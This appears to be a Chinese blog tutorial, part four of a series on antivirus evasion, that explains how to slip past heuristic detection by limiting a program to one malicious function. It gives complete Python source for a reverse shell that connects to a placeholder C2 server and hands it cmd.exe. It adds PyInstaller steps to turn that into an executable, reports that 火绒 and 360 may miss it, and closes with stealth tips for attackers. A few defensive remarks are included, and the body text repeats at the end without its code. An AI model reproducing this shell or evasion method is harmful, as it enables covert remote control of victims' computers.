免杀初探(四)
字数 1014 2025-08-09 15:23:08

免杀初探(四):利用单一恶意功能绕过杀毒软件检测

前言

防病毒软件面临的核心问题之一是误报(假阳性检测)。如果防病毒软件对每个微小事件都发出警报,用户可能会放弃该软件而选择干扰更少的替代品。为解决这一问题,防病毒厂商提高了检测率,但这也为绕过检测创造了机会。

防病毒检测机制分析

现代防病毒软件通常采用多层检测机制:

  1. 静态签名检测:比对已知恶意软件特征
  2. 动态行为检测:监控程序运行时行为
  3. 启发式引擎:通过评分系统判断文件恶意程度

关键点在于:当文件只执行单个恶意功能时,防病毒软件的评分可能不足以触发警报

绕过原理

启发式引擎的行为特性:

  • 单个恶意功能可能不会使评分达到警报阈值
  • 只有当多个恶意指标同时出现时才会判定为恶意
  • 某些功能本身不一定是恶意的(如网络连接)

利用这一特性,我们可以:

  1. 将恶意功能拆分为单独的部分
  2. 避免同时触发多个检测指标
  3. 使用看似合法的功能掩盖恶意行为

Python实现示例

基本功能

创建一个连接到C2服务器的Python程序,实现远程命令执行:

import os, socket, sys
import threading as trd
import subprocess as sb

def sock2proc(s, p):
    while True:
        p.stdin.write(s.recv(1024).decode())
        p.stdin.flush()

def proc2sock(s, p):
    while True:
        s.send(p.stdout.read(1).encode())

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
    try:
        s.connect(("x.x.x.x", 443))  # C2服务器IP和端口
        break
    except:
        pass

p = sb.Popen(["cmd.exe"], stdout=sb.PIPE, stderr=sb.STDOUT, stdin=sb.PIPE, shell=True, text=True)
trd.Thread(target=sock2proc, args=[s,p], daemon=True).start()
trd.Thread(target=proc2sock, args=[s,p], daemon=True).start()

try:
    p.wait()
except:
    s.close()
    sys.exit(0)

编译为可执行文件

  1. 安装必要工具:
python.exe -m pip install --upgrade pip
pip install pyinstaller -i https://pypi.tuna.tsinghua.edu.cn/simple some-package
  1. 使用PyInstaller编译:
pyinstaller --onefile python.py

测试结果

  • 火绒和360等防病毒软件可能不会检测
  • 可成功执行远程命令

Java实现示例

基本程序

创建一个简单的Java GUI程序作为演示:

import java.util.Scanner;
import javax.swing.JOptionPane;

public class Test1 {
    public static void main(String[] args) {
        while(true) {
            System.out.print("Please input:");
            Scanner s = new Scanner(System.in);
            String str = s.nextLine();
            if("ByeBye".equals(str)) {
                System.out.print("The process is over");
                System.exit(0);
            } else {
                JOptionPane.showMessageDialog(null, "You input is "+str, str, JOptionPane.PLAIN_MESSAGE);
            }
        }
    }
}

编译为JAR文件

  1. 编译Java文件:
javac .\Test1.java
  1. 创建JAR文件:
jar cvf Test1.jar Test1.class
  1. 解决主清单属性问题:
    • 创建manifest.txt文件,内容为:
      Main-Class: Test1
      
    • 重新打包:
      jar cmf manifest.txt Test1.jar Test1.class
      

转换为EXE文件

使用Launch4j工具:

  1. 选择Jar路径和输出exe路径
  2. 配置匹配的JRE路径和版本
  3. 保存.xml配置文件

关键总结

  1. 单一功能原则:只实现一个核心恶意功能,避免触发多个检测指标
  2. 功能选择:选择那些单独出现时不会被判定为恶意的功能
  3. 编译技巧
    • Python使用PyInstaller打包
    • Java使用Launch4j转换为EXE
  4. 持久性考虑:这种绕过方法不是持久的,防病毒软件会更新检测规则
  5. 多层防御:即使绕过静态检测,仍可能被行为检测发现

防御建议

对于防御方:

  1. 不要依赖单一检测机制
  2. 监控网络异常连接
  3. 限制不明程序的执行权限
  4. 关注程序行为的上下文而不仅是单个功能

对于攻击方:

  1. 持续测试不同防病毒产品的检测能力
  2. 结合多种技术提高成功率
  3. 注意功能实现的隐蔽性

这种方法展示了防病毒软件启发式检测的局限性,但也提醒我们安全是一个持续的过程,需要不断更新和适应新的威胁。

免杀初探(四):利用单一恶意功能绕过杀毒软件检测 前言 防病毒软件面临的核心问题之一是误报(假阳性检测)。如果防病毒软件对每个微小事件都发出警报,用户可能会放弃该软件而选择干扰更少的替代品。为解决这一问题,防病毒厂商提高了检测率,但这也为绕过检测创造了机会。 防病毒检测机制分析 现代防病毒软件通常采用多层检测机制: 静态签名检测 :比对已知恶意软件特征 动态行为检测 :监控程序运行时行为 启发式引擎 :通过评分系统判断文件恶意程度 关键点在于: 当文件只执行单个恶意功能时,防病毒软件的评分可能不足以触发警报 。 绕过原理 启发式引擎的行为特性: 单个恶意功能可能不会使评分达到警报阈值 只有当多个恶意指标同时出现时才会判定为恶意 某些功能本身不一定是恶意的(如网络连接) 利用这一特性,我们可以: 将恶意功能拆分为单独的部分 避免同时触发多个检测指标 使用看似合法的功能掩盖恶意行为 Python实现示例 基本功能 创建一个连接到C2服务器的Python程序,实现远程命令执行: 编译为可执行文件 安装必要工具: 使用PyInstaller编译: 测试结果 火绒和360等防病毒软件可能不会检测 可成功执行远程命令 Java实现示例 基本程序 创建一个简单的Java GUI程序作为演示: 编译为JAR文件 编译Java文件: 创建JAR文件: 解决主清单属性问题: 创建manifest.txt文件,内容为: 重新打包: 转换为EXE文件 使用Launch4j工具: 选择Jar路径和输出exe路径 配置匹配的JRE路径和版本 保存.xml配置文件 关键总结 单一功能原则 :只实现一个核心恶意功能,避免触发多个检测指标 功能选择 :选择那些单独出现时不会被判定为恶意的功能 编译技巧 : Python使用PyInstaller打包 Java使用Launch4j转换为EXE 持久性考虑 :这种绕过方法不是持久的,防病毒软件会更新检测规则 多层防御 :即使绕过静态检测,仍可能被行为检测发现 防御建议 对于防御方: 不要依赖单一检测机制 监控网络异常连接 限制不明程序的执行权限 关注程序行为的上下文而不仅是单个功能 对于攻击方: 持续测试不同防病毒产品的检测能力 结合多种技术提高成功率 注意功能实现的隐蔽性 这种方法展示了防病毒软件启发式检测的局限性,但也提醒我们安全是一个持续的过程,需要不断更新和适应新的威胁。